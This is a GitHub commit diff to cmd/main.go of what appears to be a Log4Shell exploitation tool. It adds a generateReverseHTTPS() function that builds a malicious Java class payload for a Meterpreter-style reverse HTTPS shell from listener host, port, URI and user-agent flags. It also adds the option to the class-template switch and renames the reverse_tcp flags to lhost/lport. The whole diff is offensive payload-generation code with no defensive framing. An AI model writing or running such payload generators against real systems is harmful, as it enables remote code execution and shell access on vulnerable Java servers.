Skip to content

Commit 0f9eb63

Browse files
committed
main.go: add generateReverseHTTPS(), update generateClass() and rename arguments.
1 parent 3e66548 commit 0f9eb63

File tree

1 file changed

+44
-3
lines changed

1 file changed

+44
-3
lines changed

cmd/main.go

Lines changed: 44 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -144,8 +144,10 @@ func generateClass() {
144144
generateSystem()
145145
case "reverse_tcp":
146146
generateReverseTCP()
147+
case "reverse_https":
148+
generateReverseHTTPS()
147149
default:
148-
fmt.Println("supported Java class template: execute, system, reverse_tcp")
150+
fmt.Println("supported Java class template: execute, system, reverse_tcp, reverse_https")
149151
fmt.Println()
150152
log.Fatalf("[error] unknown Java class template name: \"%s\"\n", genClass)
151153
}
@@ -220,8 +222,8 @@ func generateReverseTCP() {
220222
host string
221223
port uint
222224
)
223-
args.StringVar(&host, "host", "", "listener host")
224-
args.UintVar(&port, "port", 4444, "listener port")
225+
args.StringVar(&host, "lhost", "", "listener host")
226+
args.UintVar(&port, "lport", 4444, "listener port")
225227
_ = args.Parse(log4shell.CommandLineToArgs(genArgs))
226228

227229
if host == "" {
@@ -245,6 +247,45 @@ func generateReverseTCP() {
245247
checkError(err)
246248
}
247249

250+
func generateReverseHTTPS() {
251+
template, err := os.ReadFile("template/ReverseHTTPS.class")
252+
checkError(err)
253+
254+
args := flag.NewFlagSet("meterpreter/reverse_https", flag.ExitOnError)
255+
args.SetOutput(os.Stdout)
256+
var (
257+
host string
258+
port uint
259+
uri string
260+
ua string
261+
)
262+
args.StringVar(&host, "lhost", "", "listener host")
263+
args.UintVar(&port, "lport", 8443, "listener port")
264+
args.StringVar(&uri, "luri", "", "http path")
265+
args.StringVar(&ua, "ua", "", "user agent")
266+
_ = args.Parse(log4shell.CommandLineToArgs(genArgs))
267+
268+
if host == "" {
269+
args.PrintDefaults()
270+
os.Exit(2)
271+
}
272+
if port > 65535 {
273+
fmt.Println("[error]", "invalid port:", port)
274+
os.Exit(2)
275+
}
276+
if gnClass == "" {
277+
gnClass = "ReverseHTTPS"
278+
}
279+
if genOut == "" {
280+
genOut = filepath.Join(config.PayloadDir, gnClass+".class")
281+
}
282+
283+
data, err := log4shell.GenerateReverseHTTPS(template, host, uint16(port), uri, ua, "", gnClass)
284+
checkError(err)
285+
err = os.WriteFile(genOut, data, 0600)
286+
checkError(err)
287+
}
288+
248289
func checkError(err error) {
249290
if err != nil {
250291
log.Fatalln("[error]", err)

0 commit comments

Comments
 (0)